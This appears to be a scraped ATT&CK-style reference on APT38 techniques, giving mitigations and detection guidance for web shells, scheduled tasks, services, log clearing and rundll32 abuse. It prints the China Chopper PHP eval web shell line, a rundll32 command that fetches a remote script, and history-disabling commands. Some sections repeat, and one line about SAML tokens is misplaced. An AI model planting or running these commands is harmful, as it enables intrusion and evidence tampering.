Configure settings for scheduled tasks to force tasks to run under the context of the authenticated account instead of allowing them to run as SYSTEM. The associated Registry key is located at HKLM\SYSTEM\CurrentControlSet\Control\Lsa\SubmitControl. The setting can be configured through GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > Security Options: Domain Controller: Allow server operators to schedule tasks, set to disabled.
Privileged Account Management
Configure the Increase Scheduling Priority option to only allow the Administrators group the rights to schedule a priority process. This can be configured through GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > User Rights Assignment: Increase scheduling priority.
User Account Management
Limit privileges of user accounts and remediate Privilege Escalation vectors so only authorized administrators can create scheduled tasks on remote systems.
Monitoring the following activities in your Organization can help you detect this technique.
Command: Command Execution
Invoking a computer program directive to perform a specific task (ex: Windows EID 4688 of cmd.exe showing command-line parameters, ~/.bash_history, or ~/.zsh_history)
Monitor executed commands and arguments for actions that could be taken to gather tasks may also be created through Windows system management tools such as Windows Management Instrumentation and PowerShell, so additional logging may need to be configured to gather the appropriate data.
File: File Modification
Changes made to a file, or its access permissions and attributes, typically to alter the contents of the targeted file (ex: Windows EID 4670 or Sysmon EID 2)
Monitor Windows Task Scheduler stores in %systemroot%\System32\Tasks for change entries related to scheduled tasks that do not correlate with known software, patch cycles, etc.
Process: Process Creation
Birth of a new running process (ex: Sysmon EID 1 or Windows EID 4688)
Monitor for newly constructed processes and/or command-lines that execute from the svchost.exe in Windows 10 and the Windows Task Scheduler taskeng.exe for older versions of Windows. If scheduled tasks are not used for persistence, then the adversary is likely to remove the task when the action is complete.
Scheduled Job: Scheduled Job Creation
Initial construction of a new scheduled job (ex: Windows EID 4698 or /var/log cron logs)
Monitor for newly constructed scheduled jobs by enabling the "Microsoft-Windows-TaskScheduler/Operational" setting within the event logging service. Several events will then be logged on scheduled task activity, including: Event ID 106 on Windows 7, Server 2008 R2 - Scheduled task registered; Event ID 4698 on Windows 10, Server 2016 - Scheduled task created;Event ID 4700 on Windows 10, Server 2016 - Scheduled task enabled;Event ID 4701 on Windows 10, Server 2016 - Scheduled task disabled
APT38 has used web shells for persistence or to ensure redundant access.
Adversaries may backdoor web servers with web shells to establish persistent access to systems. A Web shell is a Web script that is placed on an openly accessible Web server to allow an adversary to use the Web server as a gateway into a network. A Web shell may provide a set of functions to execute or a command-line interface on the system that hosts the Web server.
In addition to a server-side script, a Web shell may have a client interface program that is used to talk to the Web server (ex: China Chopper Web shell client).
Disable or Remove Feature or Program
Consider disabling functions from web technologies such as PHP’s eval() that may be abused for web shells.
User Account Management
Enforce the principle of least privilege by limiting privileges of user accounts so only authorized accounts can modify the web directory.
Monitoring the following activities in your Organization can help you detect this technique.
Application Log: Application Log Content
Logging, messaging, and other artifacts provided by third-party services (ex: metrics, errors, and/or alerts from mail/web applications)
Monitor for third-party application logging, messaging, and/or other artifacts that may backdoor web servers with web shells to establish persistent access to systems. Log authentication attempts to the server and any unusual traffic patterns to or from the server and internal network.
File: File Creation
Initial construction of a new file (ex: Sysmon EID 11)
File monitoring may be used to detect changes to files in the Web directory of a Web server that do not match with updates to the Web server's content and may indicate implantation of a Web shell script
File: File Modification
Changes made to a file, or its access permissions and attributes, typically to alter the contents of the targeted file (ex: Windows EID 4670 or Sysmon EID 2)
Monitor for changes made to files that may backdoor web servers with web shells to establish persistent access to systems.
Network Traffic: Network Traffic Content
Logged network traffic data showing both protocol header and body values (ex: PCAP)
Monitor and analyze traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).
Network Traffic: Network Traffic Flow
Summarized network packet data, with metrics, such as protocol headers and volume (ex: Netflow or Zeek http.log)
Monitor network data for uncommon data flows. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious.
Process: Process Creation
Birth of a new running process (ex: Sysmon EID 1 or Windows EID 4688)
Web shells can be difficult to detect. Unlike other forms of persistent remote access, they do not initiate connections. The portion of the Web shell that is on the server may be small and innocuous looking. The PHP version of the China Chopper Web shell, for example, is the following short payload: <?php @eval($_POST['password']);>Nevertheless, detection mechanisms exist. Process monitoring may be used to detect Web servers that perform suspicious actions such as spawning cmd.exe or accessing files that are not in the Web directory.
APT38 has installed a new Windows service to establish persistence.
Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions. Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Adversaries may install a new service or modify an existing service to execute at startup in order to persist on a system. Service configurations can be set or modified using system utilities (such as sc.exe), by directly modifying the Registry, or by interacting directly with the Windows API.
Adversaries may also use services to install and execute malicious drivers. For example, after dropping a driver file (ex: .sys) to disk, the payload can be loaded and registered via Native API functions such as CreateServiceW() (or manually via functions such as ZwLoadDriver() and ZwSetValueKey()), by creating the required service Registry values (i.e. Modify Registry), or by using command-line utilities such as PnPUtil.exe. Adversaries may leverage these drivers as Rootkits to hide the presence of malicious activity on a system. Adversaries may also load a signed yet vulnerable driver onto a compromised machine (known as "Bring Your Own Vulnerable Driver" (BYOVD)) as part of Exploitation for Privilege Escalation.
Services may be created with administrator privileges but are executed under SYSTEM privileges, so an adversary may also use a service to escalate privileges. Adversaries may also directly start services through Service Execution. To make detection analysis more challenging, malicious services may also incorporate Masquerade Task or Service (ex: using a service and/or payload name related to a legitimate OS or benign software component).
Audit
Use auditing tools capable of detecting privilege and service abuse opportunities on systems within an enterprise and correct them.
Behavior Prevention on Endpoint
On Windows 10, enable Attack Surface Reduction (ASR) rules to prevent an application from writing a signed vulnerable driver to the system. On Windows 10 and 11, enable Microsoft Vulnerable Driver Blocklist to assist in hardening against third party-developed service drivers.
Code Signing
Enforce registration and execution of only legitimately signed service drivers where possible.
Operating System Configuration
Ensure that Driver Signature Enforcement is enabled to restrict unsigned drivers from being installed.
User Account Management
Limit privileges of user accounts and groups so that only authorized administrators can interact with service changes and service configurations.
Monitoring the following activities in your Organization can help you detect this technique.
Command: Command Execution
Invoking a computer program directive to perform a specific task (ex: Windows EID 4688 of cmd.exe showing command-line parameters, ~/.bash_history, or ~/.zsh_history)
Monitor processes and command-line arguments for actions that could create or modify services. Command-line invocation of tools capable of adding or modifying services may be unusual, depending on how systems are typically used in a particular environment. Services may also be modified through Windows system management tools such as Windows Management Instrumentation and PowerShell, so additional logging may need to be configured to gather the appropriate data. Also collect service utility execution and service binary path arguments used for analysis. Service binary paths may even be changed to execute commands or scripts.
Driver: Driver Load
Attaching a driver to either user or kernel-mode of a system (ex: Sysmon EID 6)
Monitor for new service driver installations and loads (ex: Sysmon Event ID 6) that are not part of known software update/patch cycles.
Process: OS API Execution
Initial construction of a WMI object, such as a filter, consumer, subscription, binding, or provider (ex: Sysmon EIDs 19-21)
Monitor for API calls that may create or modify Windows services (ex: CreateServiceW()) to repeatedly execute malicious payloads as part of persistence.
Process: Process Creation
Birth of a new running process (ex: Sysmon EID 1 or Windows EID 4688)
Suspicious program execution through services may show up as outlier processes that have not been seen before when compared against historical data. Look for abnormal process call trees from known services and for execution of other commands that could relate to Discovery or other adversary techniques. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.
Service: Service Creation
Initial construction of a new service/daemon (ex: Windows EID 4697 or /var/log daemon logs)
Creation of new services may generate an alterable event (ex: Event ID 4697 and/or 7045), especially those associated with unknown/abnormal drivers. New, benign services may be created during installation of new software.
Service: Service Modification
Changes made to a service/daemon, such as changes to name, description, and/or start type (ex: Windows EID 7040 or /var/log daemon logs)
Monitor for changes made to Windows services to repeatedly execute malicious payloads as part of persistence.
Windows Registry: Windows Registry Key Creation
Initial construction of a new Registry Key (ex: Windows EID 4656 or Sysmon EID 12)
Monitor for new constructed windows registry keys that may create or modify Windows services to repeatedly execute malicious payloads as part of persistence.
Windows Registry: Windows Registry Key Modification
Changes made to a Registry Key and/or Key value (ex: Windows EID 4657 or Sysmon EID 13|14)
Look for changes to service Registry entries that do not correlate with known software, patch cycles, etc. Service information is stored in the Registry at HKLM\SYSTEM\CurrentControlSet\Services. Changes to the binary path and the service startup type changed from manual or disabled to automatic, if it does not typically do so, may be suspicious. Tools such as Sysinternals Autoruns may also be used to detect system service changes that could be attempts at persistence.
APT38 has used cron to create pre-scheduled and periodic background jobs on a Linux system.
Adversaries may abuse the cron utility to perform task scheduling for initial or recurring execution of malicious code. The cron utility is a time-based job scheduler for Unix-like operating systems. The crontab file contains the schedule of cron entries to be run and the specified times for execution. Any crontab files are stored in operating system-specific file paths.
An adversary may use cron in Linux or Unix environments to execute programs at system startup or on a scheduled basis for Persistence.
Audit
Review changes to the cron schedule. cron execution can be reviewed within the /var/log directory. To validate the location of the cron log file, check the syslog config at /etc/rsyslog.conf or /etc/syslog.conf
User Account Management
cron permissions are controlled by /etc/cron.allow and /etc/cron.deny. If there is a cron.allow file, then the user or users that need to use cron will need to be listed in the file. cron.deny is used to explicitly disallow users from using cron. If neither files exist, then only the super user is allowed to run cron.
Monitoring the following activities in your Organization can help you detect this technique.
Command: Command Execution
Invoking a computer program directive to perform a specific task (ex: Windows EID 4688 of cmd.exe showing command-line parameters, ~/.bash_history, or ~/.zsh_history)
Monitor executed atq command and ensure IP addresses stored in the SSH_CONNECTION and SSH_CLIENT variables, machines that created the jobs, are trusted hosts. All at jobs are stored in /var/spool/cron/atjobs/.
File: File Modification
Changes made to a file, or its access permissions and attributes, typically to alter the contents of the targeted file (ex: Windows EID 4670 or Sysmon EID 2)
Monitor for changes made to files for unexpected modifications to access permissions and attributes
Process: Process Creation
Birth of a new running process (ex: Sysmon EID 1 or Windows EID 4688)
Monitor for newly constructed processes and/or command-lines that executed through scheduled tasks may show up as outlier processes that have not been seen before when compared against historical data. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.
Scheduled Job: Scheduled Job Creation
Initial construction of a new scheduled job (ex: Windows EID 4698 or /var/log cron logs)
Monitor for newly constructed scheduled jobs. Legitimate scheduled tasks may be created during installation of new software or through system administration functions. Look for changes to tasks that do not correlate with known software, patch cycles, etc.
APT38 has used Task Scheduler to run programs at system startup or on a scheduled basis for persistence.
Adversaries may abuse the Windows Task Scheduler to perform task scheduling for initial or recurring execution of malicious code. There are multiple ways to access the Task Scheduler in Windows. The schtasks utility can be run directly on the command line, or the Task Scheduler can be opened through the GUI within the Administrator Tools section of the Control Panel. In some cases, adversaries have used a .NET wrapper for the Windows Task Scheduler, and alternatively, adversaries have used the Windows netapi32 library to create a scheduled task.
The deprecated at utility could also be abused by adversaries (ex: At), though at.exe can not access tasks created with schtasks or the Control Panel.
An adversary may use Windows Task Scheduler to execute programs at system startup or on a scheduled basis for persistence. The Windows Task Scheduler can also be abused to conduct remote Execution as part of Lateral Movement and/or to run a process under the context of a specified account (such as SYSTEM). Similar to System Binary Proxy Execution, adversaries have also abused the Windows Task Scheduler to potentially mask one-time execution under signed/trusted system processes.
Audit
Toolkits like the PowerSploit framework contain PowerUp modules that can be used to explore systems for permission weaknesses in scheduled tasks that could be used to escalate privileges.
Operating System Configuration
Configure settings for scheduled tasks to force tasks to run under the context of the authenticated account instead of allowing them to run as SYSTEM. The associated Registry key is located at HKLM\SYSTEM\CurrentControlSet\Control\Lsa\SubmitControl. The setting can be configured through GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > Security Options: Domain Controller: Allow server operators to schedule tasks, set to disabled.
Privileged Account Management
Configure the Increase Scheduling Priority option to only allow the Administrators group the rights to schedule a priority process. This can be configured through GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > User Rights Assignment: Increase scheduling priority.
User Account Management
Limit privileges of user accounts and remediate Privilege Escalation vectors so only authorized administrators can create scheduled tasks on remote systems.
Monitoring the following activities in your Organization can help you detect this technique.
Command: Command Execution
Invoking a computer program directive to perform a specific task (ex: Windows EID 4688 of cmd.exe showing command-line parameters, ~/.bash_history, or ~/.zsh_history)
Monitor executed commands and arguments for actions that could be taken to gather tasks may also be created through Windows system management tools such as Windows Management Instrumentation and PowerShell, so additional logging may need to be configured to gather the appropriate data.
File: File Modification
Changes made to a file, or its access permissions and attributes, typically to alter the contents of the targeted file (ex: Windows EID 4670 or Sysmon EID 2)
Monitor Windows Task Scheduler stores in %systemroot%\System32\Tasks for change entries related to scheduled tasks that do not correlate with known software, patch cycles, etc.
Process: Process Creation
Birth of a new running process (ex: Sysmon EID 1 or Windows EID 4688)
Monitor for newly constructed processes and/or command-lines that execute from the svchost.exe in Windows 10 and the Windows Task Scheduler taskeng.exe for older versions of Windows. If scheduled tasks are not used for persistence, then the adversary is likely to remove the task when the action is complete.
Scheduled Job: Scheduled Job Creation
Initial construction of a new scheduled job (ex: Windows EID 4698 or /var/log cron logs)
Monitor for newly constructed scheduled jobs by enabling the "Microsoft-Windows-TaskScheduler/Operational" setting within the event logging service. Several events will then be logged on scheduled task activity, including: Event ID 106 on Windows 7, Server 2008 R2 - Scheduled task registered; Event ID 4698 on Windows 10, Server 2016 - Scheduled task created;Event ID 4700 on Windows 10, Server 2016 - Scheduled task enabled;Event ID 4701 on Windows 10, Server 2016 - Scheduled task disabled
APT38 has installed a new Windows service to establish persistence.
Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions. Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Adversaries may install a new service or modify an existing service to execute at startup in order to persist on a system. Service configurations can be set or modified using system utilities (such as sc.exe), by directly modifying the Registry, or by interacting directly with the Windows API.
Adversaries may also use services to install and execute malicious drivers. For example, after dropping a driver file (ex: .sys) to disk, the payload can be loaded and registered via Native API functions such as CreateServiceW() (or manually via functions such as ZwLoadDriver() and ZwSetValueKey()), by creating the required service Registry values (i.e. Modify Registry), or by using command-line utilities such as PnPUtil.exe. Adversaries may leverage these drivers as Rootkits to hide the presence of malicious activity on a system. Adversaries may also load a signed yet vulnerable driver onto a compromised machine (known as "Bring Your Own Vulnerable Driver" (BYOVD)) as part of Exploitation for Privilege Escalation.
Services may be created with administrator privileges but are executed under SYSTEM privileges, so an adversary may also use a service to escalate privileges. Adversaries may also directly start services through Service Execution. To make detection analysis more challenging, malicious services may also incorporate Masquerade Task or Service (ex: using a service and/or payload name related to a legitimate OS or benign software component).
Audit
Use auditing tools capable of detecting privilege and service abuse opportunities on systems within an enterprise and correct them.
Behavior Prevention on Endpoint
On Windows 10, enable Attack Surface Reduction (ASR) rules to prevent an application from writing a signed vulnerable driver to the system. On Windows 10 and 11, enable Microsoft Vulnerable Driver Blocklist to assist in hardening against third party-developed service drivers.
Code Signing
Enforce registration and execution of only legitimately signed service drivers where possible.
Operating System Configuration
Ensure that Driver Signature Enforcement is enabled to restrict unsigned drivers from being installed.
User Account Management
Limit privileges of user accounts and groups so that only authorized administrators can interact with service changes and service configurations.
Monitoring the following activities in your Organization can help you detect this technique.
Command: Command Execution
Invoking a computer program directive to perform a specific task (ex: Windows EID 4688 of cmd.exe showing command-line parameters, ~/.bash_history, or ~/.zsh_history)
Monitor processes and command-line arguments for actions that could create or modify services. Command-line invocation of tools capable of adding or modifying services may be unusual, depending on how systems are typically used in a particular environment. Services may also be modified through Windows system management tools such as Windows Management Instrumentation and PowerShell, so additional logging may need to be configured to gather the appropriate data. Also collect service utility execution and service binary path arguments used for analysis. Service binary paths may even be changed to execute commands or scripts.
Driver: Driver Load
Attaching a driver to either user or kernel-mode of a system (ex: Sysmon EID 6)
Monitor for new service driver installations and loads (ex: Sysmon Event ID 6) that are not part of known software update/patch cycles.
Process: OS API Execution
Initial construction of a WMI object, such as a filter, consumer, subscription, binding, or provider (ex: Sysmon EIDs 19-21)
Monitor for API calls that may create or modify Windows services (ex: CreateServiceW()) to repeatedly execute malicious payloads as part of persistence.
Process: Process Creation
Birth of a new running process (ex: Sysmon EID 1 or Windows EID 4688)
Suspicious program execution through services may show up as outlier processes that have not been seen before when compared against historical data. Look for abnormal process call trees from known services and for execution of other commands that could relate to Discovery or other adversary techniques. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.
Service: Service Creation
Initial construction of a new service/daemon (ex: Windows EID 4697 or /var/log daemon logs)
Creation of new services may generate an alterable event (ex: Event ID 4697 and/or 7045), especially those associated with unknown/abnormal drivers. New, benign services may be created during installation of new software.
Service: Service Modification
Changes made to a service/daemon, such as changes to name, description, and/or start type (ex: Windows EID 7040 or /var/log daemon logs)
Monitor for changes made to Windows services to repeatedly execute malicious payloads as part of persistence.
Windows Registry: Windows Registry Key Creation
Initial construction of a new Registry Key (ex: Windows EID 4656 or Sysmon EID 12)
Monitor for new constructed windows registry keys that may create or modify Windows services to repeatedly execute malicious payloads as part of persistence.
Windows Registry: Windows Registry Key Modification
Changes made to a Registry Key and/or Key value (ex: Windows EID 4657 or Sysmon EID 13|14)
Look for changes to service Registry entries that do not correlate with known software, patch cycles, etc. Service information is stored in the Registry at HKLM\SYSTEM\CurrentControlSet\Services. Changes to the binary path and the service startup type changed from manual or disabled to automatic, if it does not typically do so, may be suspicious. Tools such as Sysinternals Autoruns may also be used to detect system service changes that could be attempts at persistence.
APT38 has used several code packing methods such as Themida, Enigma, VMProtect, and Obsidium, to pack their implants.
Monitoring the following activities in your Organization can help you detect this technique.
Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Utilities used to perform software packing are called packers. Example packers are MPRESS and UPX. A more comprehensive list of known packers is available, but adversaries may create their own packing techniques that do not leave the same artifacts as well-known packers to evade defenses.
Antivirus/Antimalware
Employ heuristic-based malware detection. Ensure updated virus definitions and create custom signatures for observed malware.
Monitoring the following activities in your Organization can help you detect this technique.
File: File Metadata
Contextual data about a file, which may include information such as name, the content (ex: signature, headers, or data/media), user/ower, permissions, etc.
Use file scanning to look for known software packers or artifacts of packing techniques. Packing is not a definitive indicator of malicious activity, because legitimate software may use packing techniques to reduce binary size or to protect proprietary code.
APT38 clears Window Event logs and Sysmon logs from the system.
Adversaries may clear Windows Event Logs to hide the activity of an intrusion. Windows Event Logs are a record of a computer's alerts and notifications. There are three system-defined sources of events: System, Application, and Security, with five event types: Error, Warning, Information, Success Audit, and Failure Audit.
The event logs can be cleared with the following utility commands:
These logs may also be cleared through other mechanisms, such as the event viewer GUI or PowerShell.
Encrypt Sensitive Information
Obfuscate/encrypt event files locally and in transit to avoid giving feedback to an adversary.
Remote Data Storage
Automatically forward events to a log server or data repository to prevent conditions in which the adversary can locate and manipulate data on the local system. When possible, minimize time delay on event reporting to avoid prolonged storage on the local system.
Restrict File and Directory Permissions
Protect generated event files that are stored locally with proper permissions and authentication and limit opportunities for adversaries to increase privileges by preventing Privilege Escalation opportunities.
Monitoring the following activities in your Organization can help you detect this technique.
Command: Command Execution
Invoking a computer program directive to perform a specific task (ex: Windows EID 4688 of cmd.exe showing command-line parameters, ~/.bash_history, or ~/.zsh_history)
Monitor executed commands and arguments for actions that would delete Windows event logs (via PowerShell)
File: File Deletion
Removal of a file (ex: Sysmon EID 23, macOS ESF EID ES_EVENT_TYPE_AUTH_UNLINK, or Linux commands auditd unlink, rename, rmdir, unlinked, or renameat rules)
Monitor for unexpected deletion of Windows event logs (via native binaries) and may also generate an alterable event (Event ID 1102: "The audit log was cleared")
Process: OS API Execution
Initial construction of a WMI object, such as a filter, consumer, subscription, binding, or provider (ex: Sysmon EIDs 19-21)
Monitor for Windows API calls that may clear Windows Event Logs to hide the activity of an intrusion.
APT38 has used a utility called CLOSESHAVE that can securely delete a file from the system. They have also removed malware, tools, or other non-native files used during the intrusion to reduce their footprint or as part of the post-intrusion cleanup process.
Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
There are tools available from the host operating system to perform cleanup, but adversaries may use other tools as well. Examples of built-in Command and Scripting Interpreter functions include del on Windows and rm or unlink on Linux and macOS.
This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of system features.
Monitoring the following activities in your Organization can help you detect this technique.
Command: Command Execution
Invoking a computer program directive to perform a specific task (ex: Windows EID 4688 of cmd.exe showing command-line parameters, ~/.bash_history, or ~/.zsh_history)
Monitor executed commands and arguments for actions that could be utilized to unlink, rename, or delete files.
File: File Deletion
Removal of a file (ex: Sysmon EID 23, macOS ESF EID ES_EVENT_TYPE_AUTH_UNLINK, or Linux commands auditd unlink, rename, rmdir, unlinked, or renameat rules)
Monitor for unexpected deletion of files from the system
APT38 has modified data timestamps to mimic files that are in the same folder on a compromised host.
Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Timestomping may be used along with file name Masquerading to hide malware and tools.
This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of system features.
Monitoring the following activities in your Organization can help you detect this technique.
File: File Metadata
Contextual data about a file, which may include information such as name, the content (ex: signature, headers, or data/media), user/ower, permissions, etc.
Monitor for file modifications that collects information on file handle opens and can compare timestamp values
File: File Modification
Changes made to a file, or its access permissions and attributes, typically to alter the contents of the targeted file (ex: Windows EID 4670 or Sysmon EID 2)
Monitor for unexpected modifications to file timestamps
APT38 uses a tool called CLEANTOAD that has the capability to modify Registry keys.
Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.
Access to specific areas of the Registry depends on account permissions, some requiring administrator-level access. The built-in Windows command-line utility Reg may be used for local or remote Registry modification. Other tools may also be used, such as a remote access tool, which may contain functionality to interact with the Registry through the Windows API.
Registry modifications may also include actions to hide keys, such as prepending key names with a null character, which will cause an error and/or be ignored when read via Reg or other utilities using the Win32 API. Adversaries may abuse these pseudo-hidden keys to conceal payloads/commands used to maintain persistence.
The Registry of a remote system may be modified to aid in execution of files as part of lateral movement. It requires the remote Registry service to be running on the target system. Often Valid Accounts are required, along with access to the remote system's SMB/Windows Admin Shares for RPC communication.
Restrict Registry Permissions
Ensure proper permissions are set for Registry hives to prevent users from modifying keys for system components that may lead to privilege escalation.
Monitoring the following activities in your Organization can help you detect this technique.
Command: Command Execution
Invoking a computer program directive to perform a specific task (ex: Windows EID 4688 of cmd.exe showing command-line parameters, ~/.bash_history, or ~/.zsh_history)
Monitor executed commands and arguments for actions that could be taken to change, conceal, and/or delete information in the Registry. The Registry may also be modified through Windows system management tools such as Windows Management Instrumentation and PowerShell, which may require additional logging features to be configured in the operating system to collect necessary information for analysis.
Process: OS API Execution
Initial construction of a WMI object, such as a filter, consumer, subscription, binding, or provider (ex: Sysmon EIDs 19-21)
Monitor for API calls associated with concealing Registry keys, such as Reghide. Inspect and cleanup malicious hidden Registry entries using Native Windows API calls and/or tools such as Autoruns and RegDelNull
Process: Process Creation
Birth of a new running process (ex: Sysmon EID 1 or Windows EID 4688)
Monitor processes and command-line arguments for actions that could be taken to change, conceal, and/or delete information in the Registry. (i.e. reg.exe, regedit.exe)
Windows Registry: Windows Registry Key Creation
Initial construction of a new Registry Key (ex: Windows EID 4656 or Sysmon EID 12)
Monitor for newly constructed registry keys or values to aid in persistence and execution.
Windows Registry: Windows Registry Key Deletion
Removal of a Registry Key (ex: Windows EID 4658 or Sysmon EID 12)
Monitor for unexpected deletion of windows registry keys to hide configuration information, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.
Windows Registry: Windows Registry Key Modification
Changes made to a Registry Key and/or Key value (ex: Windows EID 4657 or Sysmon EID 13|14)
Monitor for changes made to windows registry keys or values. Consider enabling Registry Auditing on specific keys to produce an alertable event (Event ID 4657) whenever a value is changed (though this may not trigger when values are created with Reghide or other evasive methods). Changes to Registry entries that load software on Windows startup that do not correlate with known software, patch cycles, etc., are suspicious, as are additions or changes to files within the startup folder. Changes could also include new services and modification of existing binary paths to point to malicious files. If a change to a service-related entry occurs, then it will likely be followed by a local or remote service start or restart to execute the file.
APT38 has used CHM files to move concealed payloads.
Adversaries may abuse Compiled HTML files (.chm) to conceal malicious code. CHM files are commonly distributed as part of the Microsoft HTML Help system. CHM files are compressed compilations of various content such as HTML documents, images, and scripting/web related programming languages such VBA, JScript, Java, and ActiveX. CHM content is displayed using underlying components of the Internet Explorer browser loaded by the HTML Help executable program (hh.exe).
A custom CHM file containing embedded payloads could be delivered to a victim then triggered by User Execution. CHM execution may also bypass application application control on older and/or unpatched systems that do not account for execution of binaries through hh.exe.
Execution Prevention
Consider using application control to prevent execution of hh.exe if it is not required for a given system or network to prevent potential misuse by adversaries.
Restrict Web-Based Content
Consider blocking download/transfer and execution of potentially uncommon file types known to be used in adversary campaigns, such as CHM files
Monitoring the following activities in your Organization can help you detect this technique.
Command: Command Execution
Invoking a computer program directive to perform a specific task (ex: Windows EID 4688 of cmd.exe showing command-line parameters, ~/.bash_history, or ~/.zsh_history)
Monitor executed commands and arguments that may forge SAML tokens with any permissions claims and lifetimes if they possess a valid SAML token-signing certificate.
File: File Creation
Initial construction of a new file (ex: Sysmon EID 11)
Monitor presence and use of CHM files, especially if they are not typically used within an environment.
Process: Process Creation
Birth of a new running process (ex: Sysmon EID 1 or Windows EID 4688)
Monitor and analyze the execution and arguments of hh.exe. Compare recent invocations of hh.exe with prior history of known good arguments to determine anomalous and potentially adversarial activity (ex: obfuscated and/or malicious commands). Non-standard process execution trees may also indicate suspicious or malicious behavior, such as if hh.exe is the parent process for suspicious processes and activity relating to other adversarial techniques.
APT38 has used rundll32.exe to execute binaries, scripts, and Control Panel Item files and to execute code via proxy to avoid triggering security tools.
Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: rundll32.exe {DLLname, DLLfunction}).
Rundll32.exe can also be used to execute Control Panel Item files (.cpl) through the undocumented shell32.dll functions Control_RunDLL and Control_RunDLLAsUser. Double-clicking a .cpl file also causes rundll32.exe to execute.
Rundll32 can also be used to execute scripts such as JavaScript. This can be done using a syntax similar to this: rundll32.exe javascript:"..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https[:]//www[.]example[.]com/malicious.sct")" This behavior has been seen used by malware such as Poweliks.
Adversaries may also attempt to obscure malicious code from analysis by abusing the manner in which rundll32.exe loads DLL function names. As part of Windows compatibility support for various character sets, rundll32.exe will first check for wide/Unicode then ANSI character-supported functions before loading the specified function (e.g., given the command rundll32.exe ExampleDLL.dll, ExampleFunction, rundll32.exe would first attempt to execute ExampleFunctionW, or failing that ExampleFunctionA, before loading ExampleFunction). Adversaries may therefore obscure malicious code by creating multiple identical exported function names and appending W and/or A to harmless ones. DLL functions can also be exported and executed by an ordinal number (ex: rundll32.exe file.dll,#1).
Additionally, adversaries may use Masquerading techniques (such as changing DLL file names, file extensions, or function names) to further conceal execution of a malicious payload.
Exploit Protection
Microsoft's Enhanced Mitigation Experience Toolkit (EMET) Attack Surface Reduction (ASR) feature can be used to block methods of using rundll32.exe to bypass application control.
Monitoring the following activities in your Organization can help you detect this technique.
Command: Command Execution
Invoking a computer program directive to perform a specific task (ex: Windows EID 4688 of cmd.exe showing command-line parameters, ~/.bash_history, or ~/.zsh_history)
Command arguments used with the rundll32.exe invocation may also be useful in determining the origin and purpose of the DLL being loaded.
File: File Metadata
Contextual data about a file, which may include information such as name, the content (ex: signature, headers, or data/media), user/ower, permissions, etc.
Analyze contextual data about executed DLL files, which may include information such as name, the content (ex: signature, headers, or data/media), age, user/ower, permissions, etc.
Module: Module Load
Attaching a module into the memory of a process/program, typically to access shared resources/features provided by the module (ex: Sysmon EID 7)
Analyzing DLL exports and comparing to runtime arguments may be useful in uncovering obfuscated function calls.
Process: Process Creation
Birth of a new running process (ex: Sysmon EID 1 or Windows EID 4688)
Use process monitoring to monitor the execution and arguments of rundll32.exe. Compare recent invocations of rundll32.exe with prior history of known good arguments and loaded DLLs to determine anomalous and potentially adversarial activity.
APT38 has prepended a space to all of their terminal commands to operate without leaving traces in the HISTCONTROL environment.
Adversaries may impair command history logging to hide commands they run on a compromised system. Various command interpreters keep track of the commands users type in their terminal so that users can retrace what they've done.
On Linux and macOS, command history is tracked in a file pointed to by the environment variable HISTFILE. When a user logs off a system, this information is flushed to a file in the user's home directory called ~/.bash_history. The HISTCONTROL environment variable keeps track of what should be saved by the history command and eventually into the ~/.bash_history file when a user logs out. HISTCONTROL does not exist by default on macOS, but can be set by the user and will be respected.
Adversaries may clear the history environment variable (unset HISTFILE) or set the command history size to zero (export HISTFILESIZE=0) to prevent logging of commands. Additionally, HISTCONTROL can be configured to ignore commands that start with a space by simply setting it to "ignorespace". HISTCONTROL can also be set to ignore duplicate commands by setting it to "ignoredups". In some Linux systems, this is set by default to "ignoreboth" which covers both of the previous examples. This means that " ls" will not be saved, but "ls" would be saved by history. Adversaries can abuse this to operate without leaving traces by simply prepending a space to all of their terminal commands.
